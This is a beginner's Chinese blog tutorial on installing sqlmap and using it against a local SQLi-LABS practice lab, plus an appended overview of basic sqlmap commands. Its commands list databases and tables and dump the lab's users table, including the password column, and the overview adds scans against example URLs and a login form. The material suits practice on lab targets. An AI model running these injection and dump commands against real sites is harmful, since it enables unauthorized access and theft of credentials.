下载并使用sqlmap

首先要安装python然后配置好环境(这里我安装好了丢个截图偷下懒)

  • 1| 点本机-高级属性-系统属性-环境变量


  • 在这里插入图片描述

再去网页下载sqlmap

下载地址

  • 1| 下载好后解压

在这里插入图片描述

  • 2| 在桌面建立一个快捷方式

在这里插入图片描述

  • 右键快捷方式属性

在这里插入图片描述

  • 将原先那个解压的文件夹地址放到起始位置确定即可使用

![在这里插入图片描述](https://img-blog.csdnimg.cn/20200909205856548.png#pic_center

在这里插入图片描述

  • 使用sqlmap

  • 登入个能注入的网站(这里用了SQLi-LABS Page-1(Basic Challenges))

在这里插入图片描述

sqlmap -u "http://localhost:81/Less-1/?id=1" --dbs
  • 输入代码先找到数据库
    在这里插入图片描述
  • 再进入数据库找表(这里是security的表)
sqlmap -u "http://localhost:81/Less-1/?id=1" -D security --tables

在这里插入图片描述

  • 再到表中找字段
sqlmap -u "http://localhost:81/Less-1/?id=1" --dump -D security -T users -C 'id,pssword'

在这里插入图片描述

  • 本人菜鸟,大佬勿喷。

### SQLMap下载、安装与使用 #### 下载 SQLMap SQLMap 是一款开源的渗透测试工具,用于自动检测和利用 SQL 注入漏洞。可以从官方 GitHub 页面获取最新版本: ```bash git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev ``` 此命令会克隆最新的稳定版到本地 `sqlmap-dev` 文件夹下[^2]。 #### 安装依赖项 为了确保 SQLMap 正常工作,在大多数情况下不需要额外安装 Python 或其他库,因为 SQLMap 已经包含了所需的大部分依赖关系。不过建议确认已安装 Python 版本为 Python 2.7.x 或者更高版本的 Python 3.x。 对于某些功能可能还需要特定模块的支持,比如处理 HTTPS 请求时需要 `pyOpenSSL` 库。可以通过 pip 来安装这些扩展包: ```bash pip install -r requirements.txt ``` 这条指令会在当前目录寻找名为 `requirements.txt` 的文件按照其中列出的内容来安装必要的 Python 包。 #### 运行 SQLMap 进入解压后的 SQLMap 主目录之后可以直接通过如下命令启动程序: ```bash python sqlmap.py ``` 如果是在 Windows 上,则可以创建一个指向 `sqlmap.py` 脚本的快捷方式以便更方便地访问该应用程序。 #### 基础用法实例 要执行一次基本扫描操作,只需要提供目标 URL 即可: ```bash python sqlmap.py -u "http://example.com/vulnerable.php?id=1" ``` 当面对 POST 方法提交表单的情况时,还可以附加参数指定发送的数据体: ```bash python sqlmap.py -u "http://example.com/login.php" --data="username=test&password=test" ``` 以上就是针对 Web 应用安全评估过程中如何运用 SQLMap 进行自动化 SQL 注入攻击面分析的一个简单介绍[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值